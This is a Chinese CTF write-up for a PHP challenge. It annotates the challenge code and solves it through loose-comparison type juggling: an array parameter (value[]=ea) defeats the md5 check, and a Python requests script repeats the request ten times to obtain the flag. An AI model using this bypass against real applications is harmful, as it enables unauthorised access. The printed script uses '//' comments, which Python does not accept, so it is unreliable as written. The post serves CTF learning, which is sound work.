10.27-這個真的是爆破

在這裏插入圖片描述
題目內容:

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

帶有註釋的題目

error_reporting(0);// 關閉錯誤報告
session_start();//啓動會話
require('./flag.php');
if(!isset($_SESSION['nums'])){//isset() — 檢測變量是否設置。
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();//返回當前時間的 Unix 時間戳
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();//session_destroy — 銷燬一個會話中的全部數據
}//120s後會話結束

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');//range創建一個包含從 "a" 到 "z" 之間的元素範圍的數組
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//mt_rand() 使用 Mersenne Twister 算法返回0到25之間的隨機整數。$str_rand[mt_rand(0,25)]返回"a" 到 "z"之間任意字母。$str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]是兩任意字母相連

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){//substr(string,start,length)。===是包括變量值與類型完全相等。==只是比較兩個數的值是否相等,由於substr是字符串,和數字比較的時候會強制轉化成數字0,自然和0相等。
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){//循環10次輸出flag,暴力破解
  echo $flag;
}

show_source(__FILE__);
?>

代碼內容:先設置初始值nums=0,time是當前時間,whoami=ea。當whoami=value時,num+1,whoami=$str_rands,循環。nums>=10時,打印flag。120s後會話結束,由於時間120秒,完全可以手工做10次,即可得到flag。
這道題可以手動也可以用python腳本來解
1、手動
由於==是弱類型判斷,所以可以用數組繞過,即md5(數組)==0
因此首先構造?value[]=ea
在這裏插入圖片描述
再用rl替換ea,一共10次重複,即可得到flag
在這裏插入圖片描述
2、python腳本

import requests

url='http://9882efffe3b44ac39f6c9c1bfd7a4f219461f3fe32dc48d4.changame.ichunqiu.com/?value[]='

a=requests.session() //保存cookie信息
b=a.get(url+'ea') //發送get方式請求

for i in range(11):
	c=a.get(url+b.text[:2])
	b=c
	print(b.text)
	pass

直接看最後就行,就可以得到flag
在這裏插入圖片描述
參考文章:
https://blog.csdn.net/dragon_18/article/details/83446483
https://www.jianshu.com/p/67c7c89543f2
https://www.ichunqiu.com/writeup/detail/1069

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章